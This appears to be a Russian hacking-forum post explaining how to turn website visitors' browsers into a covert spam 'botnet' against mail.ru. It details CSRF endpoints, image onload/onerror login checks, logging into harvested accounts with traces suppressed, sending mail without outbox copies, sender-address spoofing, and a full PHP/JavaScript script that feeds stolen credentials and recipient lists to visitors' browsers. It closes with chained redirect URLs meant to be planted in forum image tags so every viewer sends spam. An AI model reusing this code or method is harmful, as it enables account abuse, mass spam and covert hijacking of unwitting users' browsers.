Такое определение ботнета дает википедия. В своей статье я покажу, как можно использовать браузер посетителя сайта в качестве бота. Конечно, это далеко не полноценный ботнет, но свою задачу выполняет - скрыто рассылает письма с компьютеров пользователей. В качестве примера будет рассматриваться почтовый сервис mail.ru. Начнем с того, что должен уметь наш "ботнет": 1. Проверять, авторизован ли пользователь на сайте почтового сервиса. 2. Если пользователь не авторизован, брать из базы аккаунт и заходить на сайт. 2.1. Проверять успешность авторизации. 3. Отправлять письмо, не оставляя следов (исходящих писем в ящике) 1. Проверка авторизации на сайте. Чем отличается авторизованный пользователь сайта от неавторизованного? а) куки б) различное отображение страниц либо запрет на доступ к некоторым страницам Куки можно проверить при наличии XSS на сайте. Но найти на крупном почтовом сервисе XSS достаточно сложно, так что этот вариант пропускаем. Получить страницу сайта и узнать о ней хоть какую-нибудь информацию без XSS тоже не получится. Единственный способ - события onload и onerror тэга img. Если файл, указанный в src является картинкой, вызывается обработчик onload, иначе onerror. Остается найти на сайте картинку, доступ к которой разрешен только авторизованным пользователям. Такие картинки существуют, например на gmail'е авторизацию можно было проверить с помощью http://mail.google.com/mail/pimages/2/labs/labs_bar_icon.png (пофиксили около месяца назад) Поиски подобных багов на мэйлру ни к чему не привели. Изображения там хранятся на отдельных поддоменах и доступны всем, независимо от авторизации. Проверив различные запросы в соц.сети МойМир я обнаружил, что в некоторых из них передается параметр "back=http://my.mail.ru/*******", который указывает адрес возврата при успешном выполнении запроса (только домены мэйлру). В большинстве таких запросов есть защита от CSRF в виде рандомных параметров "mna" и "mnb", но при редактировании анкеты эти параметры не передаются. Пример POST-запроса на сохранение вкладки "интересы": http://my.mail.ru/[Домен]/[Логин]/editinfo page=&Figure=0&Height=0&Weight=0&Eyes=0&Hair=0&Childs=0&Residence=0&Routine=0&Smoke=0&Alcohol=0&Languages=-1&ReligionCustom=&Politics=&Interests=&Music=&Cinema=&TV=&Books=&Persons=&back=http://my.mail.ru/my/editinfo&Save=1 Запрос успешно работает через GET (как и большинство запросов mail.ru). Кроме того, единственными неодходимыми параметрами для успешного выполнения запроса являются "Save" и "back". Но еще более интересно то, что [Домен] и [Логин] в адресе скрипта не имеют никакого значения. Теперь находим любую картинку, например http://img.mail.ru/r/dumb.gif (1x1 px), и подставляем в параметр "back". Получилась рабочая ссылка для проверки авторизации в соц.сети МойМир - http://my.mail.ru/bk/x/editinfo?Save=1&back=http://img.mail.ru/r/dumb.gif Код проверки: PHP: <img src=http://my.mail.ru/bk/x/editinfo?Save=1&back=http://img.mail.ru/r/dumb.gif onload=alert('good') onerror=alert('bad') width=0 > К сожалению, эта проверка не срабатывала, если на мыле не был создан моймир. Еще немного поискав, нашел ссылку, подходящую для любых ящиков мэйлру: PHP: <img src=http://e.mail.ru/cgi-bin/modifyevent?confirm=1&remove.x=0&remove.y=0&next_page=http://img.mail.ru/r/dumb.gif onload=alert('good') onerror=alert('bad') width=0 > [offtop]аналогичная ссылка для проверки авторизации ВК - http://vkontakte.ru/login.php?to=ZmF2aWNvbi5pY28 (favicon.ico в base64)[/offtop] 2. Авторизация http://e.mail.ru/cgi-bin/auth Login - логин Domain - mail.ru|inbox.ru|list.ru|bk.ru Password - пароль page - страница, на которую редиректит в случае успешной авторизации login_from - поддомен, с которого авторизуется пользователь post - если неавторизованный пользователь пытается отправить POST-запрос, его перекидывает на страницу авторизации, а параметры запроса сохраняются в базе под уникальным идентификатором. В этом параметре передается идентификатор и если он есть в базе, то после авторизации выполняется соответствующий POST-запрос. level=1 - чужой компьютер Параметры "login_from" и "post" необязательные. "Domain" тоже можно убрать, если в "Login" передавать логин@домен "level" и "page" тоже являются необязательными, но они нам пригодятся. level=1 - чтобы юзер не заметил, что с его компа рассылались письма page=http://img.mail.ru/r/dumb.gif - чтобы проверить успешность авторизации с помощью тэга img. Даже если все аккаунты будут валидными, эта проверка необходима, так как мэйлру может заблокировать IP-адрес и авторизоваться с него будет невозможно. Изучая авторизацию через различные поддомены мэйлру, на m.mail.ru находим еще один интересный параметр - "FailPage". Это адрес возврата, в случае неудачной авторизации. Обычная страница ошибки авторизации весит достаточно много, поэтому надо заменить ее на что-нибудь поменьше, например на http://img.mail.ru/ (403 Forbidden). 2.1. Варианты кода авторизации с проверкой На поддомене m.mail.ru в параметрах "page" и "FailPage" можно использовать относительные пути, что сокращает длину ссылки. Но в случае успешной авторизации происходит дополнительный запрос: http://m.mail.ru/cgi-bin/checkcookie?id=[Хэш длиной более 100 симоволов]&user=[Логин]&domain=[Домен]&page=[Страница возврата] поэтому объем трафа больше, чем на e.mail.ru PHP: <img src=http://e.mail.ru/cgi-bin/auth?level=1&Login=[Логин@Домен]&Password=[Пароль]&page=http://img.mail.ru/r/dumb.gif&FailPage=http://img.mail.ru/ onload=alert('good') onerror=alert('bad') width=0 > 2-2.5кб при успешной авторизации. 1.5-2кб при ошибке PHP: <img src=http://m.mail.ru/cgi-bin/auth?level=1&Login=[Логин@Домен]&Password=[Пароль]&page=../img/at.png&FailPage= onload=alert('good') onerror=alert('bad') width=0 > 4кб (+2кб картинка) при успешной авторизации. 2кб при ошибке 3. Отправка письма Пример запроса отправки через e.mail.ru показывал XAMEHA в соседней теме - https://forum.antichat.ru/showpost.php?p=2705452&postcount=4 Минимально необходимые параметры для отправки: http://e.mail.ru/cgi-bin/sentmsg ajax_call=1 - обязательный параметр func_name=send - обязательный параметр send= - обязательный параметр HTMLMessage=1 - для использования HTML-разметки в теле письма To - кому Subject - тема письма Body - содержание письма Отправка письма через m.mail.ru отличается отсутствием обязательных параметров "ajax_call" и "func_name". При использовании e.mail.ru результат возвращается в JSON-формате. На m.mail.ru происходит редирект на страницу вида http://m.mail.ru/cgi-bin/sendmsgok?ab01=ab01&mode=newmsg&id_sent=01234567890123456789&To=01234567890abcdef01234567890abcdef&Subject=0123456&From=01234567890abcdef01234567890abcdef01234567890abcdef01234567890ab&user=01234567890abcdef01234567890abcdef Объем трафа при отправке через m.mail.ru примерно в 2 раза больше, чем e.mail.ru (около 12кб и 6кб соответственно). [offtop]На данный момент отправка писем методом GET через m.mail.ru и e.mail.ru невозможна.[/offtop] Для реализации "ботнета" всего вышеописанного уже было достаточно, но недавно A-Graff рассказал мне еще о двух различных веб-интерфесах мэйлру - pro.mail.ru и wap.mts.mail.ru Отправка письма на pro.mail.ru так же уязвима к CSRF и работает через GET-запрос. Кроме того, при удалении из запроса некоторых параметров, отправленные письма перестают сохраняться в папке "исходящие". Использование метода GET для отправки позволит контролировать запрос событием onerror и после его завершения брать новые аккаунты, мыла и тексты из базы для продолжения рассылки. http://pro.mail.ru/cgi-bin/ajax_sendmsg?ajax_call=1&func_name=ajax_send_msg data=[{"To":"[Кому]","Subject":"[Тема]","Body":"[Содержание]","HTMLMessage":1,"send":1}] PHP: <img src=http://pro.mail.ru/cgi-bin/ajax_sendmsg?ajax_call=1&func_name=ajax_send_msg&data=%5B%7B%22To%22:%22[Кому]%22,%22Subject%22:%22[Тема]%22,%22Body%22:%22[Содержание]%22,%22HTMLMessage%22:1,%22send%22:1%7D%5D onerror=alert('sent') width=0 > [offtop] На поддомене pro.mail.ru в запросе отправки можно увидеть параметр "From", в котором указывается имя отправителя. Это имя можно заменить на любое другое и оно будет отображаться у получателя в списке писем. Но при открытии письма виден адрес, с которого оно отправлено. Отправка в параметре "From" измененного адреса отправителя (например "Команда Mail.Ru <[email protected]>") не дает результата, получатель все равно видит реальный адрес ("Команда Mail.Ru <[email protected]>"). Но если "From" добавлять в заголовок при отправке писем с wap.mts.mail.ru (а также еще с нескольких других поддоменов), адрес отправителя можно заменить на любой, даже "Команда Mail.Ru <[email protected]>" [/offtop]
https://forum.antichat.ru/showpost.php?p=1748341&postcount=9 Это до сих пор актуально. Через games.mail.ru успешная авторизация около 1кб, неудачная - 0.5кб. Но нельзя проверить результат через JS, поэтому не подходит в данном случае
Примеры реализации. Вариант 1 В этом примере не проверяется, авторизован пользователь на мэйлру или нет. Из базы берется аккаунт, список адресов и тексты. Отправляется запрос авторизации. В случае успешной авторизации, отправляется письмо. Если произошла ошибка авторизации, адреса возвращаются в базу для использования последующими аккаунтами. Для рассылки нужен iframe траф. Примечание: Internet Explorer блокирует куки на запись если домен, на который ставятся куки, не соответствует домену в адресной строке браузера. То есть, если картинка или фрейм с запросом авторизации расположены не на домене mail.ru, проверить валидность аккаунта можно, но отправить письмо нельзя, так как куки после авторизации записаны не будут. Единственный вариант - авторизоваться в отдельном окне функцией open. Ссылки с рекламных баннеров, размещаемых на мейлру проходят через редирект на поддомене мэйлру вида http://r.mail.ru/n00000000 Это позволяет поставить страницу возврата после авторизации на один из этих сайтов. Страница возврата будет одинаковой, независимо от результата авторизации, чтобы пользователь не заметил запрос к мэйлру. Самая простая и надежная проверка браузера IE - if('\v'=='v') Если '\символ' не является escape-последовательностью, слэш игнорируется, то есть '\символ' == 'символ' По неизвестным причинам, IE (единственный из всех браузеров) не поддерживает вертикальную табуляцию, поэтому '\v'=='v' возвращает true. PHP: <? include('config.php'); // в конфиге прописано подключение к БД if(isset($_POST['to'])) // если авторизация не пройдена, мыла будут использоваться при следующей отправке { $mail_list = explode(',', $body); $mail_count = count($mail_list); for($i = 0; $i < $mail_count; $i++) { mysql_query("UPDATE `mail` SET `used` = 0 WHERE `mail` = '" . $mail_list[$i] . "'"); } die(); } // количество тем и текстов в базе $count_subj = 100; $count_body = 100; $count = rand(10, 20); // количество мыл, на которые отправляется письмо одним запросом. $res = mysql_query("SELECT `mail` FROM `mail` WHERE `used` = 0 LIMIT $count"); mysql_query("UPDATE `mail` SET `used` = 1 WHERE `used` = 0 LIMIT $count"); $to = ''; while($row = mysql_fetch_row($res)) { if(strlen($to) > 0) { $to .= ','; } $to .= $row[0]; } $res = mysql_query("SELECT `acc` FROM `acc` WHERE `used` = 0 LIMIT 1"); mysql_query("UPDATE `acc` SET `used` = 1 WHERE `used` = 0 LIMIT 1"); list($login, $pass) = split(':', $row[0], 2); // аккаунты в формате login:pass $res = mysql_query("SELECT `text` FROM `subj` WHERE `id` = ". rand(1, $count_subj)); $row = mysql_fetch_row($res); $subj = $row[0]; $res = mysql_query("SELECT `text` FROM `body` WHERE `id` = ". rand(1, $count_body)); $row = mysql_fetch_row($res); $body = $row[0]; ?> <html> <body> <script> function addInput(inpParent, inpName, inpValue) // функция добавления полей на форму { var newInput = document.createElement('input'); newInput.name = inpName; newInput.value = inpValue; inpParent.appendChild(newInput); } var newImg = new Image(); // создание картинки newImg.onload = function () // если авторизация прошла успешно, отправляется письмо { // отправка через m.mail.ru // newForm.action = 'http://m.mail.ru/cgi-bin/sentmsg?send='; // отправка через e.mail.ru newForm.action = 'http://e.mail.ru/cgi-bin/sentmsg?ajax_call=1&func_name=send&send='; document.body.appendChild(newForm); // добавление формы на страницу addInput(newForm, 'HTMLMessage', '1'); addInput(newForm, 'To', '<? echo($to); ?>'); addInput(newForm, 'Subject', '<? echo($subj); ?>'); addInput(newForm, 'Body', '<? echo($body); ?>'); if('\v'=='v') // если браузер IE, авторизация в отдельном окне с редиректом на один сайтов, которые рекламирует мэйлру { // авторизация через m.mail.ru // open('http://m.mail.ru/cgi-bin/auth?level=1&Login=<? echo($login) ?>&Password=<? echo($pass) ?>&page=http://r.mail.ru/n71448410&FailPage=http://r.mail.ru/n71448410'); // авторизация через e.mail.ru open('http://e.mail.ru/cgi-bin/auth?level=1&Login=<? echo($login) ?>&Password=<? echo($pass) ?>&page=http://r.mail.ru/n71448410&FailPage=http://r.mail.ru/n71448410'); setTimeout('newForm.submit()', 5000); // нажатие кнопки отправки с задержкой, чтобы аккаунт успел авторизоваться. } else { newForm.submit(); // отправка запроса } }; newImg.onerror = function () // при ошибке авторизации { document.body.appendChild(newForm); // добавление формы на страницу addInput(newForm, 'to', '<? echo($to); ?>'); newForm.submit(); // отправка запроса }; // авторизация через m.mail.ru // newImg.src = 'http://m.mail.ru/cgi-bin/auth?level=1&Login=<? echo($login) ?>&Password=<? echo($pass) ?>&page=../img/at.png&FailPage='; // авторизация через e.mail.ru newImg.src = 'http://e.mail.ru/cgi-bin/auth?level=1&Login=<? echo($login) ?>&Password=<? echo($pass) ?>&page=http://img.mail.ru/r/dumb.gif&FailPage=http://img.mail.ru/'; var newForm = document.createElement('form'); // создание формы newForm.method = 'POST'; document.body.appendChild(newImg); // добавление картинки на страницу </script> </body> </html>
Примеры реализации. Вариант 2 Продолжая изучение мэйлру, в самом низу списка папок почтового ящика заметил "Архив М-Агента". Так как мэйл-агентом я не пользовался, архив оказался пуст и мне предложили на выбор 2 ссылки - "Загрузить программу Mail.Ru Агент" и "Воспользоваться веб-версией Mail.Ru Агента" Посмотрел исходник страницы. Первая ссылка обычная - <a href="http://agent.mail.ru/" target="_blank"> Вторая оказалась интересней. Она через window.open открывала окно http://swa.mail.ru/cgi-bin/auth?Page=http%3A//webagent.mail.ru/webagent&FailPage=http%3A//webagent.mail.ru/auth Это обычный скрипт авторизации, но без параметров Login, Domain и Password. Если аккаунт уже авторизован, редирект на Page, если нет - на FailPage. Из других поддоменов запрос работает только на e.mail.ru, с остальных идет перенаправление на /cgi-bin/start Во время тестов столкнулся с проблемой. После авторизации аккаунта запрос http://e.mail.ru/cgi-bin/auth?Page=http://mail.ru/zero&FailPage=http://img.mail.ru/ вместо прямого редиректа выдает Code: HTTP/1.1 200 OK .. <meta http-equiv="refresh" content="0;url=http://mail.ru/zero"> В этом случае работа через тэг img становится невозможной. [offtop]Вместо http://img.mail.ru/r/dumb.gif нашел более короткую ссылку на картинку 1x1px - http://mail.ru/zero. В дальнейших примерах буду использовать ее[/offtop] Проверив различные варианты, обнаружил, что после отправки запроса http://auth.mail.ru/cgi-bin/auth?Page=http://mail.ru/zero&FailPage=http://img.mail.ru/ (с последующим редиректом на http://win.mail.ru/cgi-bin/start) тот же запрос на e.mail.ru выдает уже прямой редирект "Location: http://mail.ru/zero". То есть, после одного прямого редиректа, все остальные редиректы так же становятся прямыми. Дальше удалось выяснить интересную особенность мэйлру - при неудачной авторизации куки не очищаются. Это значит, что с авторизованного аккаунта мэйлру можно выполнить заведомо неверный запрос авторизации и при этом не потерять текущую сессию. Для редиректа на FailPage достаточно указать хотя бы один обязательный параметр авторизации - Domain, Login или Password. Самый короткий параметр - Login, поэтому выбираем его. http://auth.mail.ru/cgi-bin/auth?Login=x&FailPage=http://e.mail.ru/cgi-bin/auth?Page=http://mail.ru/zero%26FailPage=http://img.mail.ru/ Теперь у нас есть возможность выбирать редиректы в зависимости от следующих ситуаций: 1) пользователь авторизован 2) пользователь не авторизован 3) авторизация прошла успешно 4) ошибка авторизации Так же есть возможность отправить письмо GET-запросом. Здесь начинается самое интересное. Меняем параметры запроса (красное - то, что было. зеленое - то, что стало): http://auth.mail.ru/cgi-bin/auth?Login=x&FailPage=http://e.mail.ru/cgi-bin/auth? Page=http://mail.ru/zero Page=http://pro.mail.ru/cgi-bin/ajax_sendmsg?ajax_call=1%2526func_name=ajax_send_msg%2526data=[{"To":"[Кому]","Subject":"[Тема]","Body":"[Содержание]","HTMLMessage":1,"send":1}] %26FailPage=http://img.mail.ru/ %26FailPage=http://m.mail.ru/cgi-bin/auth?Login=[Логин]%2526Password=[Пароль]%2526page=../img/at.png%2526FailPage= Еще одна замена: http://m.mail.ru/cgi-bin/auth?Login=x&FailPage=http://e.mail.ru/cgi-bin/auth?Page=http://pro.mail.ru/cgi-bin/ajax_sendmsg?ajax_call=1%2526func_name=ajax_send_msg%2526data=[{"To":"[Кому]","Subject":"[Тема]","Body":"[Содержание]","HTMLMessage":1,"send":1}]%26FailPage=http://m.mail.ru/cgi-bin/auth?Login=[Логин]%2526Password=[Пароль]%2526 page=../img/at.png%2526FailPage= page=http://pro.mail.ru/cgi-bin/ajax_sendmsg?ajax_call=1%252526func_name=ajax_send_msg%252526data=[{"To":"[Кому]","Subject":"[Тема]","Body":"[Содержание]","HTMLMessage":1,"send":1}] Результат: http://auth.mail.ru/cgi-bin/auth?Login=x&FailPage=http://e.mail.ru/cgi-bin/auth?Page=http://pro.mail.ru/cgi-bin/ajax_sendmsg?ajax_call=1%2526func_name=ajax_send_msg%2526data=[{"To":" [Кому] ","Subject":" [Тема] ","Body":" [Содержание] ","HTMLMessage":1,"send":1}]%26FailPage=http://m.mail.ru/cgi-bin/auth?Login= [Логин] %2526Password= [Пароль] %2526page=http://pro.mail.ru/cgi-bin/ajax_sendmsg?ajax_call=1%252526func_name=ajax_send_msg%252526data=[{"To":" [Кому] ","Subject":" [Тема] ","Body":" [Содержание] ","HTMLMessage":1,"send":1}] Полученная ссылка проверяет авторизацию пользователя на мэйлру. Если он авторизован, отправляется письмо. Если не авторизован, происходит авторизация и отправляется письмо. Исходник скрипта выкладывать не буду, потому что он почти ничем не отличается от https://forum.antichat.ru/showpost.php?p=2706687&postcount=12 Ссылка на скрипт-картинку вставляется в бб-код IMG и рассылается по форумам. Каждый человек, открывший страницу форума, автоматически становится частью ботнета.